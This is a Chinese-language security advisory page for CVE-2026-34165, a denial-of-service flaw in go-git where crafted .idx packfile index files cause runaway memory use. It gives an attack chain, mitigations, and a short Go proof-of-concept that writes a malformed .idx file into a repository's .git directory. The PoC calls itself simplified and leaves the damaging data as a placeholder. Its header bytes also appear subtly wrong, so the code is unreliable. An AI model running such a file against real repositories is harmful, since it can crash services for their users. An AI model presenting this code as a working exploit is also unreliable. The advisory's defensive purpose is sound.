IPBUF安全漏洞报告
English
CVE-2026-34165 CVSS 5.0 中危

CVE-2026-34165 go-git 拒绝服务漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34165
漏洞类型
拒绝服务
CVSS评分
5.0 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
go-git

相关标签

DoSgo-git内存耗尽本地攻击

漏洞概述

go-git是一个纯Go语言编写的可扩展git实现库。在5.0.0至5.17.1之前的版本中,存在一个安全漏洞。攻击者通过构建恶意的.idx文件,可以导致非对称的内存消耗,从而耗尽可用资源引发拒绝服务。利用此漏洞需要拥有本地仓库.git目录的写入权限。

技术细节

该漏洞源于go-git在解析.idx文件(Git packfile索引)时的逻辑缺陷。攻击者如果能够向本地仓库的.git目录写入文件,可以创建或修改.idx文件。当go-git尝试读取这些特制的.idx文件时,会触发非对称的内存消耗,即解析所需的内存量远超文件大小预期。这会导致进程内存迅速耗尽,最终引发系统或应用程序崩溃,造成拒绝服务。由于CVSS向量为AV:L/PR:L,攻击者通常需要具备一定的本地访问权限和低级别账户权限才能实施攻击。

攻击链分析

STEP 1
获取本地访问权限
攻击者需要获得目标系统的低权限本地访问账户。
STEP 2
写入恶意文件
攻击者利用本地权限,向目标仓库的.git目录下写入或修改.idx文件,植入恶意构造的数据。
STEP 3
触发解析
当应用程序(如使用go-git的服务)尝试读取或索引该仓库的pack文件时,会加载恶意的.idx文件。
STEP 4
资源耗尽
go-git库在解析异常.idx文件时发生非对称内存消耗,导致系统内存耗尽,服务崩溃或无法响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "os" "encoding/binary" ) func main() { // Create a malicious .idx file to trigger the vulnerability f, err := os.Create(".git/objects/pack/malicious.idx") if err != nil { return } defer f.Close() // Write standard .idx header f.Write([]byte{0xff, 0x74, 0x6f, 0x63, 0x02, 0x00, 0x00, 0x00}) // Write fanout table with values that might trigger the asymmetric memory consumption // This is a simplified PoC demonstrating the file structure required for i := 0; i < 256; i++ { binary.Write(f, binary.BigEndian, uint32(0xFFFFFFFF)) } // Additional malformed data would be placed here to maximize impact }

影响范围

go-git 5.0.0 <= version < 5.17.1

防御指南

临时缓解措施
若无法立即升级,应严格限制对代码仓库.git目录的写入权限,确保只有受信任的用户和服务能够修改该目录。同时,监控应用程序的内存使用情况,设置告警阈值以便在发生异常内存消耗时及时响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表